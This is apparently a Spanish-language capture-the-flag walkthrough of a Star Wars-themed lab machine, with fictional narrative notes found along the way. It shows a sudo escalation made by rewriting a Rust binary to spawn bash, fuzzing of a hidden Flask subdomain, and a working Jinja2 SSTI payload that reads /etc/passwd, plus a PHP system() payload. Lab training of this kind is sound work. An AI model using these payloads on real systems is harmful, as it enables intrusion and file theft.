hostnamessh -i leia_organa-id_rsa leia_organa@10.0.250.26
Enter passphrase for key 'leia_organa-id_rsa': <RECORTADO>
whoami
id
hostname
Escalada de privilegios (leia_organa -> han_solo/luke_skywalker)
Al listar los privilegios SUDO asignados, se puede comprobar que el usuario "leia_organa" puede ejecutar el binario "/home/leia_organa/kiss_or_not_kiss" como el usuario "han_solo" y el usuario "luke_skywalker" sin proporcionar contraseña. Esto viene definido de la siguiente forma tras listar sus privilegios:
- (han_solo) NOPASSWD: /home/leia_organa/kiss_or_not_kiss
- (luke_skywalker) NOPASSWD: /home/leia_organa/kiss_or_not_kiss
Al revisar el directorio principal de este usuario, se detectan dos archivos. El primero relacionado con la narrativa.
cat trasmision_rebelde.log
...
Si esta transmisión llega a alguien:
la Estrella de la Muerte es real.
Alderaan ya no existe.
Repito:
Alderaan ha sido destruido.
El Imperio quiere demostrar que la esperanza puede desaparecer en un instante.
Están equivocados.
Mientras alguien siga luchando… la Rebelión sobrevivirá.
— Princesa Leia Organacat trasmision_rebelde.log
...
Si esta transmisión llega a alguien:
la Estrella de la Muerte es real.
Alderaan ya no existe.
Repito:
Alderaan ha sido destruido.
El Imperio quiere demostrar que la esperanza puede desaparecer en un instante.
Están equivocados.
Mientras alguien siga luchando… la Rebelión sobrevivirá.
— Princesa Leia Organa
Y el segundo con un nombre similar al de los privilegios SUDO. Este contiene código escrito en Rust, dándo a entender que este debe ser compilado para poder generar el ejecutable necesario para aprovechar los privilegios SUDO asignados.
cat kiss_or_not_kiss.rs
// kiss_or_not_kiss.rs
use std::ffi::CString;
use std::io::{self, Write};
fn main() {
println!("🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...");
println!("🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.");
println!("1) Darle un beso a Han Solo (El contrabandista).");
println!("2) Darle un beso a Luke Skywalker (Su hermano).");
print!("👉 Elige tu destino (1 o 2): ");
io::stdout().flush().unwrap();
let mut option = String::new();
io::stdin().read_line(&mut option).unwrap();
let option = option.trim();
let _target_user = match option {
"1" => {
println!("\n💋 Leia se acerca a Han Solo... 'Te quiero'. \n😏 Han responde: 'Lo sé'.");
"han_solo"
}
"2" => {
println!("\n💋 Leia se acerca a su hermano Luke... Y lo besa.");
"luke_skywalker"
}
_ => {
println!("\n💫 Abrumada por la presión, Leia huye en el Halcón Milenario.");
return;
}
};
println!("🎭 Asumiendo la identidad del elegido en la Fuerza...");
}
mod libc {
extern "C" {
pub fn execv(
program: *const std::os::raw::c_char,
argv: *const *const std::os::raw::c_char,
) -> std::os::raw::c_int;
}
}cat kiss_or_not_kiss.rs
// kiss_or_not_kiss.rs
use std::ffi::CString;
use std::io::{self, Write};
fn main() {
println!("🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...");
println!("🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.");
println!("1) Darle un beso a Han Solo (El contrabandista).");
println!("2) Darle un beso a Luke Skywalker (Su hermano).");
print!("👉 Elige tu destino (1 o 2): ");
io::stdout().flush().unwrap();
let mut option = String::new();
io::stdin().read_line(&mut option).unwrap();
let option = option.trim();
let _target_user = match option {
"1" => {
println!("\n💋 Leia se acerca a Han Solo... 'Te quiero'. \n😏 Han responde: 'Lo sé'.");
"han_solo"
}
"2" => {
println!("\n💋 Leia se acerca a su hermano Luke... Y lo besa.");
"luke_skywalker"
}
_ => {
println!("\n💫 Abrumada por la presión, Leia huye en el Halcón Milenario.");
return;
}
};
println!("🎭 Asumiendo la identidad del elegido en la Fuerza...");
}
mod libc {
extern "C" {
pub fn execv(
program: *const std::os::raw::c_char,
argv: *const *const std::os::raw::c_char,
) -> std::os::raw::c_int;
}
}
Sin embargo, tras analizar el código, aunque en el texto lo indique, este código no abre una consola en ningún momento, por ello, primero es necesario modificar el código para que lo haga.
En este caso además se introduce un tiempo de espera antes de que termine el programa para que pueda dar tiempo a sacar capturas de pantalla ;).
El código resultante es el siguiente:
// kiss_or_not_kiss.rs (modificado)
use std::ffi::CString;
use std::io::{self, Write};
use std::thread;
use std::time::Duration;
fn main() {
println!("🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...");
println!("🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.");
println!("1) Darle un beso a Han Solo (El contrabandista).");
println!("2) Darle un beso a Luke Skywalker (Su hermano).");
print!("👉 Elige tu destino (1 o 2): ");
io::stdout().flush().unwrap();
let mut option = String::new();
io::stdin().read_line(&mut option).unwrap();
let option = option.trim();
let _target_user = match option {
"1" => {
println!("\n💋 Leia se acerca a Han Solo... 'Te quiero'. \n😏 Han responde: 'Lo sé'.");
"han_solo"
}
"2" => {
println!("\n💋 Leia se acerca a su hermano Luke... Y lo besa.");
"luke_skywalker"
}
_ => {
println!("\n💫 Abrumada por la presión, Leia huye en el Halcón Milenario.");
return;
}
};
println!("🎭 Asumiendo la identidad del elegido en la Fuerza...");
// Esperar 5 segundos
thread::sleep(Duration::from_secs(5));
// Preparar la consola a ejecutar y sus argumentos
let shell = CString::new("/bin/bash").unwrap();
let argv = [shell.as_ptr(), std::ptr::null()];
// Ejecución de la consola bajo el contexto del usuario elegido
unsafe {
libc::execv(shell.as_ptr(), argv.as_ptr());
}
}
mod libc {
extern "C" {
pub fn execv(
program: *const std::os::raw::c_char,
argv: *const *const std::os::raw::c_char,
) -> std::os::raw::c_int;
}
}// kiss_or_not_kiss.rs (modificado)
use std::ffi::CString;
use std::io::{self, Write};
use std::thread;
use std::time::Duration;
fn main() {
println!("🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...");
println!("🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.");
println!("1) Darle un beso a Han Solo (El contrabandista).");
println!("2) Darle un beso a Luke Skywalker (Su hermano).");
print!("👉 Elige tu destino (1 o 2): ");
io::stdout().flush().unwrap();
let mut option = String::new();
io::stdin().read_line(&mut option).unwrap();
let option = option.trim();
let _target_user = match option {
"1" => {
println!("\n💋 Leia se acerca a Han Solo... 'Te quiero'. \n😏 Han responde: 'Lo sé'.");
"han_solo"
}
"2" => {
println!("\n💋 Leia se acerca a su hermano Luke... Y lo besa.");
"luke_skywalker"
}
_ => {
println!("\n💫 Abrumada por la presión, Leia huye en el Halcón Milenario.");
return;
}
};
println!("🎭 Asumiendo la identidad del elegido en la Fuerza...");
// Esperar 5 segundos
thread::sleep(Duration::from_secs(5));
// Preparar la consola a ejecutar y sus argumentos
let shell = CString::new("/bin/bash").unwrap();
let argv = [shell.as_ptr(), std::ptr::null()];
// Ejecución de la consola bajo el contexto del usuario elegido
unsafe {
libc::execv(shell.as_ptr(), argv.as_ptr());
}
}
mod libc {
extern "C" {
pub fn execv(
program: *const std::os::raw::c_char,
argv: *const *const std::os::raw::c_char,
) -> std::os::raw::c_int;
}
}Una vez modificado, se compila para generar el ejecutable.
rustc kiss_or_not_kiss.rs -o kiss_or_not_kiss
ls -al kiss_or_not_kissrustc kiss_or_not_kiss.rs -o kiss_or_not_kiss
ls -al kiss_or_not_kiss
De esta forma, es posible aprovechar este binario generado para escalar privilegios a cada uno de los usuarios.
Vamos primero con "han_solo", por ejemplo.
Nota importante: La selección de "destino" que se realiza al ejecutar el script no es relevante a efectos de privilegios ya que solo afecta al texto a mostrar. El usuario del cual se obtiene acceso es el especificado al ejecutarse mediante el privilegio SUDO.
sudo -u han_solo /home/leia_organa/kiss_or_not_kiss
...
🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...
🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.
1) Darle un beso a Han Solo (El contrabandista).
2) Darle un beso a Luke Skywalker (Su hermano).
👉 Elige tu destino (1 o 2): 1
💋 Leia se acerca a Han Solo... 'Te quiero'.
😏 Han responde: 'Lo sé'.
🎭 Asumiendo la identidad del elegido en la Fuerza...sudo -u han_solo /home/leia_organa/kiss_or_not_kiss
...
🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...
🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.
1) Darle un beso a Han Solo (El contrabandista).
2) Darle un beso a Luke Skywalker (Su hermano).
👉 Elige tu destino (1 o 2): 1
💋 Leia se acerca a Han Solo... 'Te quiero'.
😏 Han responde: 'Lo sé'.
🎭 Asumiendo la identidad del elegido en la Fuerza...
Tras esperar 5 segundos se obtiene acceso como el usuario "han_solo".
(esperar 5 segundos)
whoami
id
hostname(esperar 5 segundos)
whoami
id
hostname
Volviendo al contexto de "leia_organa", se prueba esta vez con "luke_skywalker".
exit -> (volver a "leia_organa")
sudo -u luke_skywalker /home/leia_organa/kiss_or_not_kiss
...
🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...
🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.
1) Darle un beso a Han Solo (El contrabandista).
2) Darle un beso a Luke Skywalker (Su hermano).
👉 Elige tu destino (1 o 2): 2
💋 Leia se acerca a su hermano Luke... Y lo besa.
🎭 Asumiendo la identidad del elegido en la Fuerza...exit -> (volver a "leia_organa")
sudo -u luke_skywalker /home/leia_organa/kiss_or_not_kiss
...
🌌 Leia se encuentra en el hangar, abrumada por la Fuerza...
🤔 Mira a su alrededor... no sabe a quién entregarle su corazón.
1) Darle un beso a Han Solo (El contrabandista).
2) Darle un beso a Luke Skywalker (Su hermano).
👉 Elige tu destino (1 o 2): 2
💋 Leia se acerca a su hermano Luke... Y lo besa.
🎭 Asumiendo la identidad del elegido en la Fuerza...
Tras esperar 5 segundos se obtiene acceso como el usuario "luke_skywalker".
(esperar 5 segundos)
whoami
id
hostname(esperar 5 segundos)
whoami
id
hostname
BONUS 5: Usuarios orientados a narrativa
Revisando la configuración del servicio SSH, se detecta que todos los usuarios pendientes de revisar se contemplan como usuarios que no tienen permitido interactuar directamente con el sistema, ya que parecen tener asignada una consola que directamente les expulsa del sistema al intentar acceder.
cat /etc/ssh/sshd_config | tail -n 5
...
Match User conde_dooku,padme,darth_maul,anakin_skywalker,jar_jar
ForceCommand /usr/local/bin/death_shell --noprofile --norc
PasswordAuthentication yes
PermitEmptyPasswords yes
cat /usr/local/bin/death_shellcat /etc/ssh/sshd_config | tail -n 5
...
Match User conde_dooku,padme,darth_maul,anakin_skywalker,jar_jar
ForceCommand /usr/local/bin/death_shell --noprofile --norc
PasswordAuthentication yes
PermitEmptyPasswords yes
cat /usr/local/bin/death_shell
Sin embargo, tras investigar cada usuario se puede comprobar que la mayoría disponen de algún recurso narrativo pendiente de revisar.
Usuario "jar_jar"
Dentro del directorio principal de este usuario se detecta una nota.
sudo -u jar_jar /bin/bash
id
cd ~
ls -al
cat NOTAS
...
Mesa nunca quiso problemas.
Pero siempre que mesa intenta ayudar…
algo terrible ocurre.
Los humanos se ríen.
Los senadores mienten.
Y los Jedi desaparecen.
Mesa recuerda cuando dio poderes de emergencia al Canciller.
Todos aplaudieron.
Nadie entendió lo que acababa de comenzar.
Mesa todavía escucha esos aplausos en sueños.
— Jar Jar Binkssudo -u jar_jar /bin/bash
id
cd ~
ls -al
cat NOTAS
...
Mesa nunca quiso problemas.
Pero siempre que mesa intenta ayudar…
algo terrible ocurre.
Los humanos se ríen.
Los senadores mienten.
Y los Jedi desaparecen.
Mesa recuerda cuando dio poderes de emergencia al Canciller.
Todos aplaudieron.
Nadie entendió lo que acababa de comenzar.
Mesa todavía escucha esos aplausos en sueños.
— Jar Jar Binks
Usuario "anakin_skywalker"
Dentro del directorio principal de este usuario se detecta una nota.
sudo -u anakin_skywalker /bin/bash
cd ~
ls -al
file registro_memoria_congelada
cat registro_memoria_congelada
...
═══════════════════════════════════════════════════════════════════════════════
LOS ECOS DEL LADO OSCURO
La Memoria de Anakin Skywalker
═══════════════════════════════════════════════════════════════════════════════
En lo más profundo del núcleo del Deathstar, donde ni siquiera la luz de las
estrellas logra penetrar, reposa un archivo prohibido. No es simplemente datos,
es la esencia fragmentada de quien fue Anakin Skywalker, antes de que el Lado
Oscuro lo consumiera por completo.
ARCHIVOS RECUPERADOS | ESTADO: CORROMPIDO | CLASIFICACIÓN: MÁXIMA
---
[REGISTRO 0001 - TATOOINE]
La arena ardiente bajo sus pies. Un niño esclavo soñando con libertad. La
Orden Jedi lo rechaza, su madre muere en sus brazos. La rabia lo consume como
la arena devora el agua. Primera semilla del Lado Oscuro plantada en su corazón.
[REGISTRO 0002 - GEONOSIS]
Las manos de Anakin tiemblan. Ha cortado el brazo de su hermano Jedi. El
Canciller Palpatine susurra verdades prohibidas mientras los cuerpos caen en
las arenas de batalla. "El Lado Oscuro puede salvar a los que amas", promete
una voz que suena a destino mismo.
[REGISTRO 0003 - LA TRAICIÓN]
En el Templo Jedi, las espadas de plasma cantan su última sinfonía. El Elegido
camina entre columnas de fuego y ceniza. Los gritos de los Padawanes son su
música. Anakin muere aquí. Solo queda la sombra.
[REGISTRO 0004 - MUSTAFAR]
Arenas volcánicas. Fuego eterno. El Hombre que Fue cae, su cuerpo consumido,
su voluntad destrozada. De las cenizas surge Vader. La máquina que reemplaza
al hombre. El Lado Oscuro ha triunfado.
---
FRAGMENTOS DE UNA MENTE PERDIDA
"El poder no reside en lo que amas, sino en lo que estás dispuesto a sacrificar
por ese amor. Y yo sacrifiqué todo. Hasta mi propia alma."
"Podría haber sido el más grande Jedi de todos los tiempos. Pero elegí ser
inmortal en el Lado Oscuro en cambio. Inmortal, pero vacío."
"Cada grito de dolor que causé fue un paso más profundo en las sombras. Cada
traición, una cadena más que me ata a esta oscuridad eterna."
---
En este directorio vive la tragedia cósmica de un hombre que intentó ser un dios
y terminó siendo una máquina al servicio de otro. Su memoria permanece aquí,
atrapada en el acero frío del Deathstar, testigo eterno de cómo el Lado Oscuro
corrompe incluso a los elegidos.
La galaxia nunca supo la verdad. Solo conoce al Señor Vader.
Aquí descansa lo que quedó de Anakin.
═══════════════════════════════════════════════════════════════════════════════
FIN DE LOS REGISTROS RECUPERADOS
═══════════════════════════════════════════════════════════════════════════════sudo -u anakin_skywalker /bin/bash
cd ~
ls -al
file registro_memoria_congelada
cat registro_memoria_congelada
...
═══════════════════════════════════════════════════════════════════════════════
LOS ECOS DEL LADO OSCURO
La Memoria de Anakin Skywalker
═══════════════════════════════════════════════════════════════════════════════
En lo más profundo del núcleo del Deathstar, donde ni siquiera la luz de las
estrellas logra penetrar, reposa un archivo prohibido. No es simplemente datos,
es la esencia fragmentada de quien fue Anakin Skywalker, antes de que el Lado
Oscuro lo consumiera por completo.
ARCHIVOS RECUPERADOS | ESTADO: CORROMPIDO | CLASIFICACIÓN: MÁXIMA
---
[REGISTRO 0001 - TATOOINE]
La arena ardiente bajo sus pies. Un niño esclavo soñando con libertad. La
Orden Jedi lo rechaza, su madre muere en sus brazos. La rabia lo consume como
la arena devora el agua. Primera semilla del Lado Oscuro plantada en su corazón.
[REGISTRO 0002 - GEONOSIS]
Las manos de Anakin tiemblan. Ha cortado el brazo de su hermano Jedi. El
Canciller Palpatine susurra verdades prohibidas mientras los cuerpos caen en
las arenas de batalla. "El Lado Oscuro puede salvar a los que amas", promete
una voz que suena a destino mismo.
[REGISTRO 0003 - LA TRAICIÓN]
En el Templo Jedi, las espadas de plasma cantan su última sinfonía. El Elegido
camina entre columnas de fuego y ceniza. Los gritos de los Padawanes son su
música. Anakin muere aquí. Solo queda la sombra.
[REGISTRO 0004 - MUSTAFAR]
Arenas volcánicas. Fuego eterno. El Hombre que Fue cae, su cuerpo consumido,
su voluntad destrozada. De las cenizas surge Vader. La máquina que reemplaza
al hombre. El Lado Oscuro ha triunfado.
---
FRAGMENTOS DE UNA MENTE PERDIDA
"El poder no reside en lo que amas, sino en lo que estás dispuesto a sacrificar
por ese amor. Y yo sacrifiqué todo. Hasta mi propia alma."
"Podría haber sido el más grande Jedi de todos los tiempos. Pero elegí ser
inmortal en el Lado Oscuro en cambio. Inmortal, pero vacío."
"Cada grito de dolor que causé fue un paso más profundo en las sombras. Cada
traición, una cadena más que me ata a esta oscuridad eterna."
---
En este directorio vive la tragedia cósmica de un hombre que intentó ser un dios
y terminó siendo una máquina al servicio de otro. Su memoria permanece aquí,
atrapada en el acero frío del Deathstar, testigo eterno de cómo el Lado Oscuro
corrompe incluso a los elegidos.
La galaxia nunca supo la verdad. Solo conoce al Señor Vader.
Aquí descansa lo que quedó de Anakin.
═══════════════════════════════════════════════════════════════════════════════
FIN DE LOS REGISTROS RECUPERADOS
═══════════════════════════════════════════════════════════════════════════════
Usuario "padme"
Dentro del directorio principal de este usuario se detectan un par de notas.
sudo -u padme /bin/bash
cd ~
ls -al
cat d.e.p
...
SENADORA PADMÉ AMIDALA
ARCHIVO CONMEMORATIVO
Oficialmente fallecida al final de las Guerras Clon.
Algunos registros fueron alterados por órdenes directas del Emperador.
Diversos archivos relacionados con los gemelos Skywalker permanecen eliminados.
Acceso denegado.
cat ultimo_mensaje
...
Si estás leyendo esto, significa que la República cayó.
La democracia no murió en una batalla.
Murió lentamente… entre aplausos.
Anakin… aún quiero creer que queda bondad en ti.
Aunque todos digan lo contrario.
Y si nuestros hijos sobreviven,
prométeme que jamás conocerán el odio que consumió esta galaxia.
— Padmé Amidala
sudo -u padme /bin/bash
cd ~
ls -al
cat d.e.p
...
SENADORA PADMÉ AMIDALA
ARCHIVO CONMEMORATIVO
Oficialmente fallecida al final de las Guerras Clon.
Algunos registros fueron alterados por órdenes directas del Emperador.
Diversos archivos relacionados con los gemelos Skywalker permanecen eliminados.
Acceso denegado.
cat ultimo_mensaje
...
Si estás leyendo esto, significa que la República cayó.
La democracia no murió en una batalla.
Murió lentamente… entre aplausos.
Anakin… aún quiero creer que queda bondad en ti.
Aunque todos digan lo contrario.
Y si nuestros hijos sobreviven,
prométeme que jamás conocerán el odio que consumió esta galaxia.
— Padmé Amidala
Usuario "darth_maul"
Dentro del directorio principal de este usuario se detectan un par de notas.
sudo -u darth_maul /bin/bash
cd ~
ls -alsudo -u darth_maul /bin/bash
cd ~
ls -al
Sin embargo, solo "root" tiene permitido leerlas. Se vuelve al usuario "root" para revisarlas.
exit -> (volver a "root")
cat /home/darth_maul/d.e.p
...
Me arrebataron todo.
Mi hermano.
Mi destino.
Mi lugar.
Sidious me utilizó como un arma desechable.
Kenobi me convirtió en un fantasma.
Pero el odio mantiene vivo al que debería haber muerto.
La galaxia teme a los Sith.
Debería temer algo peor:
un hombre consumido únicamente por la venganza.
— Darth Maul
cat /home/darth_maul/holocron_darth_maul_primera_parte
...
[ARCHIVO DAÑADO]
Kenobi…
KENOBI…
Todo fue destruido por culpa suya.
[TRANSMISIÓN INTERRUMPIDA]exit -> (volver a "root")
cat /home/darth_maul/d.e.p
...
Me arrebataron todo.
Mi hermano.
Mi destino.
Mi lugar.
Sidious me utilizó como un arma desechable.
Kenobi me convirtió en un fantasma.
Pero el odio mantiene vivo al que debería haber muerto.
La galaxia teme a los Sith.
Debería temer algo peor:
un hombre consumido únicamente por la venganza.
— Darth Maul
cat /home/darth_maul/holocron_darth_maul_primera_parte
...
[ARCHIVO DAÑADO]
Kenobi…
KENOBI…
Todo fue destruido por culpa suya.
[TRANSMISIÓN INTERRUMPIDA]
Usuario "conde_dooku"
Dentro del directorio principal de este usuario no se detecta nada.
sudo -u conde_dooku /bin/bash
cd ~
ls -alsudo -u conde_dooku /bin/bash
cd ~
ls -al
BONUS 6: Web secreta de Lando (www-data)
Pista sobre Lando detectada en la web
Desde la web se detecta el personaje diferente el cual es "HAN SOLO", ya que se realiza un tratamiento exclusivo sobre este. Al pulsarlo 3 veces hace que salga por consola un mensaje oculto.
URL -> view-source:http://starwars.thl/halcon_milenario/URL -> view-source:http://starwars.thl/halcon_milenario/
Sin embargo esta interacción de normal no funciona. Para que funcione, hay que ir al elemento HTML con clase "character" correspondiente a "HAN SOLO" y eliminar el atributo "href" para que quede de la siguiente forma.
<a class="character" onclick="selectCharacter(event)">
<img src="../img/han-solo.jpg" alt="Han Solo">
<div class="character-name">HAN SOLO</div>
</a><a class="character" onclick="selectCharacter(event)">
<img src="../img/han-solo.jpg" alt="Han Solo">
<div class="character-name">HAN SOLO</div>
</a>
En este punto, sin recargar la página, se le pulsa tres veces al recuadro del personaje HAN SOLO y aparecerá por consola el mensaje espearado.
(pulsar 3 veces en el recuadro de HAN SOLO)
Debes reunirte con su amigo Lando Calrissian, que se encuentra en la ciudad de Bespin, para obtener más información sobre tu misión.(pulsar 3 veces en el recuadro de HAN SOLO)
Debes reunirte con su amigo Lando Calrissian, que se encuentra en la ciudad de Bespin, para obtener más información sobre tu misión.
Esto no funcionaba porque el contador de clicks principal se restablece a 0 con cada petición HTTP. Como el click redirigía a la página, restablece el contador y jamás llega a 3.
Detección, análisis y explotación de web secreta (white-box)
En el proceso de descubrimiento de recursos web, se detecta un nuevo subdominio utilizando uno de los diccionarios proporcionados a través del servicio FTP.
gobuster vhost -u http://starwars.thl -w ./ftp/10.0.250.26/illo_que_arte --append-domain -rgobuster vhost -u http://starwars.thl -w ./ftp/10.0.250.26/illo_que_arte --append-domain -r
Para hacer que resuelva este subdominio, es necesario añadir dicho subdominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.
sudo mousepad /etc/hosts
10.0.250.26 starwars.thl wp.starwars.thl miarma_vamonopalaferia.starwars.thl (modificar esta linea y guardar los cambios)sudo mousepad /etc/hosts
10.0.250.26 starwars.thl wp.starwars.thl miarma_vamonopalaferia.starwars.thl (modificar esta linea y guardar los cambios)Al intentar resolverlo con el subdominio, este termina mostrando una ventana de autenticación HTTP básica, para la cual no se dispone de credenciales y tampoco se consiguen descubrir desde un punto de vista no autenticado.
URL -> http://miarma_vamonopalaferia.starwars.thlURL -> http://miarma_vamonopalaferia.starwars.thl
Desde el usuario "root" se revisa el sistema y se detecta una aplicación Flask que esta a la escucha internamente.
find /var/www/html/imperial_base -group www-data 2>/dev/null | grep -v /.venv/
ss -ntlp
ps aux | grep -i app.pyfind /var/www/html/imperial_base -group www-data 2>/dev/null | grep -v /.venv/
ss -ntlp
ps aux | grep -i app.py
Se revisa el código fuente de la aplicación Flask que parece contener credentiales en texto plano asociadas a la autenticación HTTP básica y confirma que se expone a través del puerto local 5000 y se ejecuta como el usuario "www-data".
cat /var/www/html/imperial_base/app.pycat /var/www/html/imperial_base/app.py
Al introducir las credenciales descubiertas en la ventana de autenticación HTTP básica, se consigue acceder a un panel con cámaras.
URL -> http://miarma_vamonopalaferia.starwars.thl/ (Autenticado)URL -> http://miarma_vamonopalaferia.starwars.thl/ (Autenticado)
En este punto ya se conoce que recursos existen, ya que se tiene acceso al código fuente. Pero, se va a realizar desde aquí como si no se conocieran detalles de la web secreta.
Tras enumerar los recursos disponibles de esta nueva aplicación se detecta uno.
Nota importante: Es necesario incluir la cabecera "Authorization" para poder escanear y acceder a los recursos de esta web secreta.
ffuf -u "http://miarma_vamonopalaferia.starwars.thl/FUZZ" -H "Authorization: Basic <RECORTADO>" -w "/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt"ffuf -u "http://miarma_vamonopalaferia.starwars.thl/FUZZ" -H "Authorization: Basic <RECORTADO>" -w "/usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt"
Si se accede a este, se puede comprobar que existe una nueva página, pero en principio no se puede hacer nada con este.
URL -> http://miarma_vamonopalaferia.starwars.thl/searchURL -> http://miarma_vamonopalaferia.starwars.thl/search
Por el nombre, es posible que contenga algún parámetro oculto por POST para que sea posible realizar búsquedas, como su nombre indica.
Tras realizar fuzzing de parámetros POST, se detecta uno.
ffuf -u "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -w "/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt" -X POST -d "FUZZ=id" -fs 2834 -t 64ffuf -u "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -w "/usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt" -X POST -d "FUZZ=id" -fs 2834 -t 64
Este parámetro también es posible descubrirlo revisando el código fuente, ya que aparece descrito en un comentario HTML.
URL -> view-source:http://miarma_vamonopalaferia.starwars.thl/search
...
<!-- SOY PHP O SOY PYTHON, TU LABOR AQUI SABER QUE SOY... --> <!-- CLASSIFIED: ORDER 66 OVERRIDE NODE --> <!-- <input name="payload" search="si esto lo ve palpatine, me matará..."> -->URL -> view-source:http://miarma_vamonopalaferia.starwars.thl/search
...
<!-- SOY PHP O SOY PYTHON, TU LABOR AQUI SABER QUE SOY... --> <!-- CLASSIFIED: ORDER 66 OVERRIDE NODE --> <!-- <input name="payload" search="si esto lo ve palpatine, me matará..."> -->
Al utilizar el parámetro descubierto, se puede comprobar que en principio refleja en la web directamente el contenido proporcionado en este como valor.
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d "payload=id" | grep "<pre>"
...
<pre>id</pre>curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d "payload=id" | grep "<pre>"
...
<pre>id</pre>
Como el comentario HTML invita a comprobar si es PHP o Python, se prueba a introducir una carga útil en PHP a ver como resuelve. En este caso devuelve el contenido tal cual, por lo que no interpreta código PHP. Por ello, se puede deducir que se está utilizando Python, lógicamente.
Si está utilizando plantillas para presentar el resultado y no se trata adecuadamente la información introducida, esto puede dar lugar a una vulnerabilidad de inserción de plantillas del lado servidor (Server-Side Template Injection****, SSTI). En resumen, esta vulnerabilidad permite a un atacante inyectar código malicioso en plantillas del servidor, lo que puede llevar a realizar operaciones no intencionadas, como lectura arbitraria de archivos o ejecución remota de comandos si el motor de plantillas no valida correctamente la entrada del usuario.
Para probarlo, como Flask usa por defecto el motor de plantillas Jinja2, se introduce una expresión de plantilla siguiendo su formato compatible.
Si en la página que refleja el valor introducido esta refleja el resultado de la operación introducida, significa que el parámetro POST "payload" es vulnerable a SSTI. En este caso lo es, ya que la expresión de plantilla se procesa y devuelve como resultado el valor "49".
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload=<?php system($_POST["payload"]); ?>' | grep "<pre>"
...
<pre><?php system($_POST["payload"]); ?></pre>
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{7*7}}' | grep "<pre>"
...
<pre>49</pre>curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload=<?php system($_POST["payload"]); ?>' | grep "<pre>"
...
<pre><?php system($_POST["payload"]); ?></pre>
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{7*7}}' | grep "<pre>"
...
<pre>49</pre>
Para explotar esta vulnerabilidad se prueba a leer archivos del sistema (LFI).
curl -s "http://miarma_vamonopalaferia.starwars.thl/search" -H "Content-Type: application/x-www-form-urlencoded" -H "Authorization: Basic <RECORTADO>" -X POST -d 'payload={{request.application.__globals__.__builtins__.open("/etc/passwd").read()}}' | tail -n 45
...
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
mysql:x:102:110:MySQL Server,,,:/nonexistent:/bin/false
jar_jar:x:1001:1001::/home/jar_jar:/bin/bash
vader:x:1002:1002::/home/vader:/bin/bash
emperador_palpatine:x:1003:1003::/home/emperador_palpatine:/bin/bash
chewbacca:x:1004:1004::/home/chewbacca:/bin/bash
han_solo:x:1005:1005::/home/han_solo:/bin/bash
luke_skywalker:x:1006:1006::/home/luke_skywalker:/bin/bash
anakin_skywalker:x:1007:1007::/home/anakin_skywalker:/bin/bash
leia_organa:x:1008:1008::/home/leia_organa:/bin/bash
padme:x:1009:1009::/home/padme:/bin/bash
darth_maul:x:1010:1010::/home/darth_maul:/bin/bash
conde_dooku:x:1011:1011::/home/conde_dooku:/bin/bash
chiquito:x:1012:1012::/home/chiquito:/bin/bash
ftp:x:103:111:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
polkitd:x:997:997:polkit:/nonexistent:/usr/sbin/nologin
